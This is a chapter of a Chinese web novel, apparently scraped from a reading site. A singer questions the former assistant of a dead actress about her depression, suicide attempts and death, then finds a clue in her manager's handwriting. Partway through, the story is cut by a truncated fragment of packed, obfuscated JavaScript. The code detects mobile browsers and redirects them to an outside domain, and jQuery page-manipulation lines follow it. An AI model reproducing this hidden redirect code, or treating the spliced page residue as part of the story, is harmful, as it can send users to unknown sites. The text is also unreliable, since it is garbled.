33. 宇宙大甜甜
作品:《天王撞巨星》 和甜姐加上微信的第二天,文一越就见到了她本尊。
出于绅士礼仪,文一越让女士选择见面地点。甜姐在变更了七八次之后,终于决定了见面地点。
文一越提前来到古色古香的公园,公园是免费开放的,两道桃林沿河而建,大爷们像墨鱼饺子一样在河里漂浮着。
文一越打通甜姐的电话:“你在哪里?”
“我在光屁股大爷这儿。”
光屁股大爷实在太过耀眼夺目,文一越一扭头就看见了他。在他背后,站着一个穿着马面裙,一手拎着相机,一手拿着手机通话的年轻女孩。两人相距不远,她说话的时候,小梨涡若隐若现,文一越锁定她就是宇宙大甜甜本甜了。
他朝大甜甜飞奔过去,在光屁股大爷跳下水的同时,大甜甜拿起自己的相机,对着文一越摁下快门——
帅哥!
等等等,帅哥怎么停到她面前了?难道发现了她在偷拍?
“你是甜姐?”
“你是福姐?”
文一越小号昵称借了福姐的名字,甜姐意识到他不可能是福姐,刚要转身离去,突然想起了自己见过眼前这人。
“文一越!”
“你认得我?”
“我去你们公司面试过艺人助理...在艺人墙上看过你的照片,你和艺术照长得一模一样欸!”
“过奖,其实我本人更帅。”
甜姐不置可否:“是你要见我?”
甜姐在陆弥身边的时间并不长,但是为了了解陆弥,她一期不落地回顾了她的选秀节目。看过那款节目的观众不会没有不认识文一越的,在才艺五花八门的选手里,文一越只用一把吉他,就俘获了所有人的目光。
艺人进入娱乐圈后,在包装和医美的双重作用下,形象不可同日而语,但文一越似乎没什么变化。
八年前的那个少年是什么样的,如今的文一越就是什么样的。
甜姐说:“如果是为了陆弥,我们坐下慢慢说吧。”
长椅旁正好是一个小卖部,甜姐买了两根烤肠,两个雪糕。
“请你吃的。”
“谢谢,不过我最近减肥。”
“再减就剩骨灰了...吃吧。”
文一越今天还没吃饭,他下定决心,这是今天唯一一顿。文一越咬了一□□开的烤肠,咸甜的汁水在他嘴里炸开。
甜姐说:“陆弥就喜欢吃开裂的烤肠。”
“她还吃这种东西?”
“是啊,我也很纳闷她天天出席那些高端宴会,怎么会吃这种东西。后来有一天她跟我说,她觉得日子常常是飘着的,没有一点儿真实感。前一秒还是衣香鬓影,后一秒就在片场跳泥潭...当然,这也可能和她的病有关。”
在见到甜姐之前,文一越对她有一个大致的预期。受她在陆弥死后销声匿迹的影响,文一越以为她在逃避什么。可眼前的小姑娘,一边唆着雪糕,一边咬着烤肠,看向天空的眼睛噙着泪花,不知道的,还以为他们在分手。
“她的病很严重吗?”
“嗯,她确诊重度抑郁焦虑的时候,我陪着她,走了好几家医院,都建议住院。但她身上还有对赌协议,根本没有休息的权力。我上学时候是个追星族,大学毕业,第一份工作就是陆弥的艺人助理,这也是我在娱乐圈的唯一一份工作,你知道为什么吗?”
文一越递给她一张纸巾。
甜姐:“我没哭。”
陆弥:“给你擦鼻涕的。”
文一越不是个擅长伪装的人,但他擅长点评别人的演技,是真是假,一眼就看出来了。表演哭,是没有鼻涕的。
甜姐本来还想强撑一会儿,但越是压抑,感情来得越是猛烈。文一越在等待她的下一句时,她突然双手捂住了脸,哇一声痛哭了起来。
小卖部大妈从门口探出脑袋,文一越冲她温柔一笑,用唇语说:“没事。”
甜姐哭得差不多了,擤了把鼻涕,“我以为在公共场所,我就不会哭了。”
比起甜姐的涕泗横流,文一越略显冷淡:“她究竟是不是自杀?”
“我不知道。”甜姐无助地摇着头,“我不知道,我真的不知道。”
“那你知道什么?”
“跟在她身边,真得太辛苦了。你知道吗?一份工作,□□疲劳都算不了什么,最可怕的是心累。光是拦她自杀,就有四五次,每次看着她吃药睡了,我就成宿成宿地睡不着。所以后来,她的电影拍完了,我就辞职回老家考公去了。”
“考公?恭喜——”
“我还没考上呢。”
“...”
甜姐口中的陆弥和文一越认识的陆弥没有太大的差别,善良仗义又勤劳努力。当年陆弥连续唱了17首ost,成为歌手爆火之后,便也和其它流量艺人一样,进入了影视圈。
圈内圈外都说她是老天爷追着喂饭吃,第一部作品就获得阿根廷「布宜诺斯艾利斯国际独立电影节」的最佳外语女演员。
可谁都没想到,那部作品成了陆弥的遗作。她在国外领完奖回来参加完国内庆功宴的当晚,从二十三层的家里一跃而下。
半个月前在全球镜头下光鲜靓丽的年轻影后,死的时候只穿了一件普通的家居服。
如果非要从她人生里挑出一件最幸运的事,大概就是她的遗作是一部正常到不能再正常的成长剧情片,里面没有任何男看客想看的镜头,避免了女人死后还要被造黄谣的宿命。
甜姐跟在陆弥身边工作的时间,陆弥一直在片场,根据甜姐说,这一阶段,除了剧组聚餐,去看心理医生,出席过几个公开通告,以及经纪人朱老师偶尔前来探班,陆弥没有见过任何人。
甜姐说完自己和陆弥的故事,这才反应过来:“你和陆弥到底是什么关系?她以前...经常听你的歌,有一次用她的官方账号分享你的歌,立马被公司删除了。”
“公司连她的社交账号都控制了?”
“你们公司不这样吗?”
这又是一个在娱乐圈屡见不鲜但文一越从未经历过的现象了。
“我们是朋友,我在调查她的死因。”文一越折断手里的烤肠棍,“今天你见我,可能是发自本心,但也不排除受人指使的可能性。不论是哪种情况,请你记住,我会一查到底,直到真相大白那天。”
“你怀疑我骗你?”甜姐暴走,“我一个没收入啃老的考公党,有必要为了骗你还特地多买一根烤肠吗?”
文一越仍然陷在陆弥多次自杀行为带来的冲击里,甜姐愤怒离去,他没有追上去。小卖部大姐又探出脑袋,看热闹不嫌事大地问他:“你女朋友跑了,你不去追?”
文一越狼狈的遮住自己的脸,整个人都藏在浓郁的阴影里。
过了好一阵,他脑子才清醒,朝着甜姐离开的方向追过去:“我还有一件重要的事没有问你。”
因为文一越,甜姐又想到陆弥了。她本来就是多愁善感的女孩子,只要一想到像她亲姐姐一样的陆弥不在了,就地化身成为林黛玉。
她边哭边说:“你问吧。”
“你认识在你之前,陆弥身边的助理么?”
“难道你工作了还要去了解之前工位上坐的是谁么?”
这又涉及到文一越的盲区了,众所周知,文一越是某省高考理科状元,统招全日制本科,工科学士学位,但没上过一天班。
“陆弥没提起过她,大概是闹得不欢而散,我只知道她叫爱米。”
“这是她的真名?”
当然不是了,娱乐行业不论是艺人还是其它职员,用的都是艺名、化名、英文名,这个圈是中国历史上比周王朝更迷信的地方,起名只有一个原则:助火。
甜姐还要考公,本名不便透露,她的艺名甜姐,是陆弥起的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456757|184039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>甜姐的小梨涡,是在那个压抑的片场里,唯一能让陆弥开心的存在。
“虽然我不知道,但我认识有可能知道的人。”
甜姐擦了把眼泪,点开微信通讯录,找到巨浪影业的人力,刻不容缓地点开那个人的头像,她清了清嗓,用和对文一越说话时截然不同的软糯口吻问道:“Andy,是我,小甜甜,你还记得爱米的原名吗?”
结束语音录制,甜姐解释:“巨浪影业的男员工都是gay,平时就得这么跟他们沟通。”
甜姐随口一句话,让文一越承受了万箭穿心之痛。
“你这是刻板印象。”
“你这么清楚,你是吗?”
“...”
名为Andy的小gay很快发来了爱米的原名——葛伟豪。
甜姐:“什么?爱米是个男的?”
文一越:“就不能是名字听起来像男人,但实际是一位女性呢?”
“哦也是...总比叫什么招娣盼娣的好。”
文一越还想在甜姐身上多套一些话,谭郢却突然打来电话,询问他今晚有没有空去家里给他教音乐。
上次去完谭郢家,文一越荣获强吻十分钟,这一次又有什么样的“奖品”等着他呢?
“今天就到这里吧,以后我还会联系你的。”
甜姐已经受够暗无天日的考公生活了,离开,空气都飘着香,她亮晶晶的眼睛看着文一越:“你缺助理吗?”
文一越说:“比起助理,我更缺工作。”
傍晚,CBD的钢铁森林倒映着火烧云,整个世界通红一片,有种末日般的壮丽。文一越一边希望末日快点到来,结束这操蛋的世界,一边又乞求它慢点儿来,至少不能比真相先到。
知识是人类最好的医美,在上过文老师的乐理知识课后,谭郢对他的崇拜一步登天。比起娱乐圈脂粉华丽的男明星,文一越就是一道涓涓清流。
谭郢以前是学美术的,也做过医美模特,用他来形容文一越这张脸,那可真是漂亮得浑然天成,眉眼搭配尤其到位,细挑的丹凤眼有着成年男子的冷峻,但略粗的直眉又为他添了一份孩子气,真是妙哉。
小谭同学不知自己已经成为文一越手里的棋子,一回家就开始复习文一越教过的乐理知识。包里的文件散落在沙发上,也浑然不顾。
文一越来到谭郢家里后,扫了眼被占据的沙发,发现没地方落脚。
谭郢忙去收拾沙发上的文件,“怪我怪我,文老师,你快坐...”
空调正对着谭郢的方向,他怀里一张单页A4纸被轻飘飘地垂落在地,文一越说:“我来捡。”
他弯腰捡起这张纸,快速扫了眼纸上的内容,看起来像是公关服务合约。谭郢正是起大运的时候,要签署的这类协议并不少。文一越心想岩星真是不专业,文件也不知道装订一下。
他把纸张递回给谭郢,谭郢两指夹住纸张上部分,文一越松开手,看见方才被他手指挡住的部分。
这里有一处手写的备注,是对合约条例的补充。文一越愣了下,突然厉声问:“这几个字是谁写的?”
好看的字千篇一律,难看的字各有特色。这卤鸭肠一样的字体,太让人过目不忘了。
谭郢抬起眉毛:“这是朱老师对合同做的修改,还不是最终版的。”
“哪个朱老师?”
“我的经纪人,朱琥珀朱老师啊...你没听说过他的名字吗?”
朱琥珀的脸和一行文字在文一越脑海里重叠起来,他像是突然被人点了穴,一动也不动,谭郢有些担心,正要开口询问的时候,文一越突然自嘲一笑。
「日子不甜的时候,想想你,就觉得还能凑活过下去。」
他就说嘛,甜姐能吃能喝能哭能效,怎么会有日子过不下去的时候。
让甜姐出面送信给陆弥,朱琥珀...她究竟有什么目的?